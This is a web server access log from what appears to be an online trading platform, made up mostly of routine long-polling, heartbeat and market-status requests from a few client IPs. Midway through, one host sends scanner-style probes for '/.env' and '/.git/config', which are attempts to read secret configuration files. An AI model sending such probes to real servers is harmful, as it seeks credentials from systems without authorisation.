[09/Jan/2026:13:52:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938189564 HTTP/1.1" -
[09/Jan/2026:13:52:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938206001 HTTP/1.1" -
[09/Jan/2026:13:52:01 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938188811 HTTP/1.1" -
[09/Jan/2026:13:52:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:52:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:52:04 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938200223 HTTP/1.1" -
[09/Jan/2026:13:52:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938194738 HTTP/1.1" -
[09/Jan/2026:13:52:06 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938211030 HTTP/1.1" -
[09/Jan/2026:13:52:06 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938193888 HTTP/1.1" -
[09/Jan/2026:13:52:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:52:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:52:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:52:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:52:09 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938205312 HTTP/1.1" -
[09/Jan/2026:13:52:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:52:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:52:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938199798 HTTP/1.1" -
[09/Jan/2026:13:52:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938216095 HTTP/1.1" -
[09/Jan/2026:13:52:11 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938198957 HTTP/1.1" -
[09/Jan/2026:13:52:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938210377 HTTP/1.1" -
[09/Jan/2026:13:52:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938204861 HTTP/1.1" -
[09/Jan/2026:13:52:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938221125 HTTP/1.1" -
[09/Jan/2026:13:52:16 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938204260 HTTP/1.1" -
[09/Jan/2026:13:52:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:52:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:52:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:52:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:52:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938215473 HTTP/1.1" -
[09/Jan/2026:13:52:21 +0800] 107.170.20.232 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env HTTP/1.1" 196
[09/Jan/2026:13:52:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938210013 HTTP/1.1" -
[09/Jan/2026:13:52:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938226147 HTTP/1.1" -
[09/Jan/2026:13:52:21 +0800] 107.170.20.232 - - "GET / HTTP/1.0" 362
[09/Jan/2026:13:52:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938209335 HTTP/1.1" -
[09/Jan/2026:13:52:22 +0800] 107.170.20.232 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.git/config HTTP/1.1" 196
[09/Jan/2026:13:52:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:52:22 +0800] 107.170.20.232 - - "GET / HTTP/1.0" 362
[09/Jan/2026:13:52:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:52:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:52:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:52:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938220508 HTTP/1.1" -
[09/Jan/2026:13:52:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938231203 HTTP/1.1" -
[09/Jan/2026:13:52:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938215133 HTTP/1.1" -
[09/Jan/2026:13:52:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938214406 HTTP/1.1" -
[09/Jan/2026:13:52:30 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938225577 HTTP/1.1" -
[09/Jan/2026:13:52:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938236235 HTTP/1.1" -
[09/Jan/2026:13:52:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938220323 HTTP/1.1" -
[09/Jan/2026:13:52:31 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938219434 HTTP/1.1" -
[09/Jan/2026:13:52:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:52:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:52:35 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938230665 HTTP/1.1" -
[09/Jan/2026:13:52:36 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938241298 HTTP/1.1" -
[09/Jan/2026:13:52:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938225471 HTTP/1.1" -
[09/Jan/2026:13:52:36 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938224509 HTTP/1.1" -
[09/Jan/2026:13:52:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:52:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:52:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:52:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:52:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:52:40 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938235727 HTTP/1.1" -
[09/Jan/2026:13:52:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:52:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938246368 HTTP/1.1" -
[09/Jan/2026:13:52:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938230528 HTTP/1.1" -
[09/Jan/2026:13:52:42 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938229580 HTTP/1.1" -
[09/Jan/2026:13:52:45 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938240821 HTTP/1.1" -
[09/Jan/2026:13:52:46 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938251394 HTTP/1.1" -
[09/Jan/2026:13:52:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938235584 HTTP/1.1" -
[09/Jan/2026:13:52:47 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938234643 HTTP/1.1" -
[09/Jan/2026:13:52:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:52:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:52:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:52:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:52:50 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938245888 HTTP/1.1" -
[09/Jan/2026:13:52:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938256420 HTTP/1.1" -
[09/Jan/2026:13:52:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938240704 HTTP/1.1" -
[09/Jan/2026:13:52:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938239701 HTTP/1.1" -
[09/Jan/2026:13:52:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:52:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:52:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:52:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:52:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938250922 HTTP/1.1" -
[09/Jan/2026:13:52:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938261446 HTTP/1.1" -
[09/Jan/2026:13:52:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938245892 HTTP/1.1" -
[09/Jan/2026:13:52:57 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938244797 HTTP/1.1" -
[09/Jan/2026:13:53:00 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938256016 HTTP/1.1" -
[09/Jan/2026:13:53:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938266511 HTTP/1.1" -
[09/Jan/2026:13:53:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938251010 HTTP/1.1" -
[09/Jan/2026:13:53:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938249856 HTTP/1.1" -
[09/Jan/2026:13:53:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:53:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:53:05 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938261084 HTTP/1.1" -
[09/Jan/2026:13:53:06 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938271567 HTTP/1.1" -
[09/Jan/2026:13:53:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938256140 HTTP/1.1" -
[09/Jan/2026:13:53:07 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938254936 HTTP/1.1" -
[09/Jan/2026:13:53:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:53:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:53:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:53:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
